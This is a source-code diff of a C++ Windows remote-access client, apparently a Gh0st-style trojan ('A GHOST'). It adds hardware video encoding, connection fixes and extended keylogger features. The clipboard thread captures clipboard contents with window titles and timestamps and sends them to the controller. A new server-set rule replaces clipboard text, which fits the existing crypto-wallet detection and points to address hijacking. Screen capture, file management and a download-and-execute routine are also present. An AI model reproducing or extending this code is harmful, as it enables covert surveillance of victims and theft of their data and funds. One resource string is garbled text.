Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
return enc;
}
}
Mprintf("=> ERROR: no encoder could be opened\n");
return nullptr;
}

25
client/EncoderFactory.h Normal file
View File

@@ -0,0 +1,25 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/commands.h"
#include <memory>
// 创建编码器的请求参数。
struct EncoderRequest {
int width = 0;
int height = 0;
int fps = 30;
int bitrate_kbps = 4000;
int encodeLevel = LEVEL_H264_SOFT;
};
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
//
// 探测顺序(第一个 open 成功的就用):
// AV1 硬编路径
// H.264 硬编CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
// x264 软编CX264EncoderCPU 兜底)
//
// 失败路径在日志中可见Mprintf。返回 nullptr 仅在 x264 也开不起来时(极少见)。
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);

View File

@@ -33,7 +33,9 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain();
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty())
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
// 发送驱动器列表, 开始进行文件管理,建立新线程
@@ -48,7 +50,8 @@ CFileManager::~CFileManager()
SAFE_CLOSE_HANDLE(m_hSearchThread);
}
m_UploadList.clear();
UninitFileUpload();
if (!m_Signature.empty())
UninitFileUpload();
}

View File

@@ -35,6 +35,7 @@ private:
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
std::string m_Signature;
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);

View File

@@ -86,6 +86,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
}
#endif
// TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间,内核直接把
// socket 标记为 ETIMEDOUT下一次 send/recv 立即报错。
//
// 为什么 SO_KEEPALIVE 不够keep-alive 只在连接完全 idle 时才探测,应用层每
// 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT
// 表项老化等场景下,对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即
// 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接",应用层完全无感,
// 默认要等 tcp_retries2 跑完(~15分钟)才报错。
//
// 选 30s>= 默认心跳间隔(5-30s)< 服务端 CheckHeartbeat 超时(>=60s)。
// Linux 2.6.37+ 支持macOS / 老内核 无此宏,自动跳过——那条路径上靠应用层
// ACK 看门狗(linux/main.cpp 心跳循环)兜底。
#ifdef TCP_USER_TIMEOUT
unsigned int userTimeoutMs = 30000;
if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT,
&userTimeoutMs, sizeof(userTimeoutMs)) < 0) {
Mprintf("Failed to set TCP_USER_TIMEOUT\n");
// 非致命keep-alive 已设上,应用层还有 ACK 看门狗兜底,继续即可
}
#endif
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;
}
@@ -197,6 +218,13 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
// 走 LoopManager 模式时new IOCPClient → ConnectServer 启动 Receive
// worker 与 Manager 构造(内含 setManagerCallBack之间有 race window
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
m_DataProcess = NULL;
m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
m_EncoderType = encoder;
@@ -649,9 +677,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
// 防御 race window子连接 ConnectServer 触发 Receive 后,
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
// 比让函数指针炸进 0xcdcdcd 强pre-existing race详见
// 构造函数注释,长期需要在 ConnectServer 前 set callback
if (m_DataProcess == NULL) {
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
} else {
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
}
}
} else {

View File

@@ -617,14 +617,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
}
#include "common/location.h"
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
{
iniFile reg;
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
config* m_iniFile = nullptr;
#ifdef _DEBUG
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
#else
m_iniFile = new iniFile;
#endif
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
std::string master = m_iniFile->GetStr("settings", "master");
@@ -882,18 +886,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization约 150 字节)
char buf[400] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
std::string masterHash(skCrypt(MASTER_HASH));
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
if (passCode[0] == 0) {
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
static std::string hashedID = hashSHA256(hardwareId);
static std::string devId = getFixedLengthID(hashedID);
memcpy(buf + 24, buf + 12, 8); // 消息签名
memcpy(buf + 96, buf + 8, 4); // 时间戳
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
memcpy(buf + 32, pwdHash, 64); // 64字节
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
Mprintf("Request for authorization update.\n");
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
} else {
unsigned short* days = (unsigned short*)(buf + 1);
unsigned short* num = (unsigned short*)(buf + 3);
@@ -1580,7 +1583,18 @@ void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
m_nNetPing.update_from_sample(GetUnixMs() - n);
// 主控心跳 ACK 只回显时间戳(不含 ProcessingMs近似纯网络 RTT
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n;
m_nNetPing.update_from_sample((double)rtt_ms);
// 试用版反代理RTT 入采样窗口。
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
if (rtt_ms > 0 && rtt_ms < INT_MAX)
LANRttChecker::RecordSample((int)rtt_ms);
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
if (!m_settings.Authorized) return;
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
}
}
@@ -1643,7 +1657,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
HeartbeatACK n = { 0 };
const int size = sizeof(HeartbeatACK);
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
// 总 RTT = ACK 到达时间 客户端发出时间(含网络 + 服务端处理)。
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs毫秒
// - 新服务端ProcessingMs > 0 → 减掉得近似纯网络 RTT
// - 旧服务端ProcessingMs == 0 → 维持旧行为,用总 RTT
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t net_rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)net_rtt_ms);
// Not authorized, but server is reachable, so just return and wait for next heartbeat
if (n.Authorized == UNAUTHORIZED) return;

View File

@@ -25,6 +25,7 @@
#define USING_CLIP 0
#include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP
#include "clip.h"
#ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen();
}
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile);
}
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
}
std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0;
}
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
bool hasClipboard = clip::has(clip::text_format());
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
if (!clip::get_text(value)) {
Sleep(500);
continue;
}
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
}
// Wallet detection
auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue;
}
auto type = detectWalletType(value);
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break;
}
}
Sleep(1000);
Sleep(500);
}
return 0x20251005;
}

View File

@@ -237,19 +237,22 @@ public:
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
std::string ReplaceText();
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};

File diff suppressed because it is too large Load Diff

View File

@@ -13,8 +13,11 @@
#include <condition_variable>
#include <functional>
#include <future>
#include <memory>
#include <emmintrin.h> // SSE2
#include "X264Encoder.h"
#include "common/config.h"
#include "VideoEncoderBase.h"
#include "EncoderFactory.h"
#include "ScrollDetector.h"
#include "common/file_upload.h"
@@ -126,6 +129,7 @@ public:
ULONG* m_BlockSizes; // 分块差异像素数
int m_BlockNum; // 分块个数
int m_SendQuality; // 发送质量
int m_EncodeLevel; // 编码级别
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
@@ -145,7 +149,7 @@ public:
int m_FrameID; // 帧序号
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
CX264Encoder *m_encoder; // 编码器
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测
int m_nScreenCount; // 屏幕数量
BOOL m_bEnableMultiScreen;// 多显示器支持
@@ -182,15 +186,16 @@ protected:
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
public:
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT) :
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
m_SendKeyFrame(false), m_encoder(nullptr),
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
{
SetAlgorithm(algo);
m_BitmapInfor_Send = nullptr;
m_BmpZoomBuffer = nullptr;
m_BmpZoomFirst = nullptr;
@@ -255,7 +260,6 @@ public:
SAFE_DELETE_ARRAY(m_BlockSizes);
SAFE_DELETE(m_ThreadPool);
SAFE_DELETE(m_encoder);
SAFE_DELETE(m_pScrollDetector);
}
@@ -638,11 +642,10 @@ public:
// 写入算法类型
data[0] = algo;
// 写入光标位置
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
PointConversionInverse(CursorPos);
memcpy(data + 1, &CursorPos, sizeof(POINT));
// 写入当前光标类型(支持自定义光标)
@@ -839,6 +842,19 @@ public:
return bmpInfo;
}
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
void ensureEncoder(int width, int height)
{
if (m_encoder) return;
EncoderRequest req;
req.width = width;
req.height = height;
req.fps = 20;
req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
req.encodeLevel = m_EncodeLevel;
m_encoder = CreateEncoder(req);
}
// 算法+光标位置+光标类型
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
{
@@ -850,11 +866,10 @@ public:
// 写入使用了哪种算法
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
// 写入光标位置
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
PointConversionInverse(CursorPos);
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型(支持自定义光标)
@@ -924,13 +939,12 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
if (m_encoder == nullptr) {
m_encoder = new CX264Encoder();
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
m_encoder->open(width, height, 20, BitRateToCRF(br));
}
ensureEncoder(width, height);
if (!m_encoder) return nullptr;
m_encoder->forceIDR(); // 协议层 keyframe → 编码器强制 IDR与 TOKEN_KEYFRAME 语义对齐
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
if (err) {
// encoded_size == 0硬编首帧延迟avcodec_receive_packet 返回 EAGAIN本帧无码流按失败跳过
if (err || encoded_size == 0) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
@@ -954,17 +968,28 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
if (m_encoder == nullptr) {
m_encoder = new CX264Encoder();
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
m_encoder->open(width, height, 20, BitRateToCRF(br));
ensureEncoder(width, height);
if (!m_encoder) return nullptr;
// 应用层 skip 检测硬编器nvenc/qsv/amf/mf/av1_*)对静态画面 RC 偏弱,
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
// 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA
// 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。
LPBYTE prev = GetFirstBuffer();
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
*ulNextSendLength = 1 + offset; // 仅 cursor无视频负载
return m_RectBuffer;
}
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
if (err) {
// encoded_size == 0硬编首帧延迟本帧无码流按失败跳过
if (err || encoded_size == 0) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
// 失败时下一帧会误以为"已发"而漏发真实变化。
memcpy(prev, nextData, bgraSize);
break;
}
default:
@@ -985,7 +1010,7 @@ public:
virtual BYTE SetAlgorithm(int algo)
{
BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo;
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
return oldAlgo;
}
@@ -1024,6 +1049,26 @@ public:
pt.y += m_iScreenY;
}
// 鼠标位置反向转换将客户端绝对坐标GetCursorPos转换为发送坐标系逐项是 PointConversion 的逆
virtual void PointConversionInverse(POINT& pt) const
{
// 3'. 减去屏幕偏移(多显示器)
pt.x -= m_iScreenX;
pt.y -= m_iScreenY;
// 2'. 反向 DPI 缩放
if (m_bZoomed) {
pt.x = (LONG)(pt.x / m_wZoom);
pt.y = (LONG)(pt.y / m_hZoom);
}
// 1'. full → send 缩放(位图下采样传输时)
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
}
}
// 获取位图结构信息
virtual const LPBITMAPINFO& GetBIData() const
{

View File

@@ -25,7 +25,8 @@ private:
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT)
: ScreenCapture(32, algo, all, level)
{
m_GOP = gop;
InitDXGI(all);

View File

@@ -100,7 +100,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
extern ClientApp g_MyApp;
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
#endif
m_isGDI = TRUE;
@@ -153,6 +154,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
LoadQualityProfiles(); // 加载质量配置
@@ -518,18 +520,18 @@ void CScreenManager::InitScreenSpy()
SAFE_DELETE(m_ScreenSpyObject);
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
m_isGDI = FALSE;
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
if (s->IsInitSucceed()) {
m_ScreenSpyObject = s;
} else {
SAFE_DELETE(s);
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
} else {
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
}
}
@@ -718,7 +720,8 @@ VOID CScreenManager::SendBitMapInfo()
CScreenManager::~CScreenManager()
{
Mprintf("ScreenManager 析构函数\n");
UninitFileUpload();
if (!m_Signature.empty())
UninitFileUpload();
m_bIsWorking = FALSE;
m_bAudioThreadRunning = FALSE; // 停止音频线程
@@ -815,6 +818,14 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ClientObject->StopRunning();
break;
}
case COMMAND_ENCODE_LEVEL: {
int encodeLevel = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "EncodeLevel", encodeLevel);
Mprintf("[CScreenManager] Change Encode Level: %d -> %d\n", m_ScreenSettings.EncodeLevel, encodeLevel);
m_ScreenSettings.EncodeLevel = encodeLevel;
break;
}
case COMMAND_SWITCH_SCREEN: {
SwitchScreen();
break;

View File

@@ -90,7 +90,7 @@ public:
uint64_t m_nReconnectTime = 0; // 重连开始时间
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
std::string m_Signature;
// 虚拟桌面
BOOL m_virtual;
POINT m_point;

View File

@@ -12,8 +12,8 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
ScreenCapture(ulbiBitCount, algo, all)
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level) :
ScreenCapture(ulbiBitCount, algo, all, level)
{
m_GOP = gop;

View File

@@ -97,7 +97,7 @@ protected:
EnumHwndsPrintData m_data;
public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT);
virtual ~CScreenSpy();

View File

@@ -7,7 +7,7 @@
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
CAPTION "娑堟伅鎻愮ず"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
@@ -61,7 +61,7 @@ END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"#include ""winres.h""\r\n"
"\0"
END
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,3
FILEVERSION 1,0,3,5
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.3"
VALUE "FileVersion", "1.0.3.5"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

59
client/VideoEncoderBase.h Normal file
View File

@@ -0,0 +1,59 @@
#pragma once
#include <cstdint>
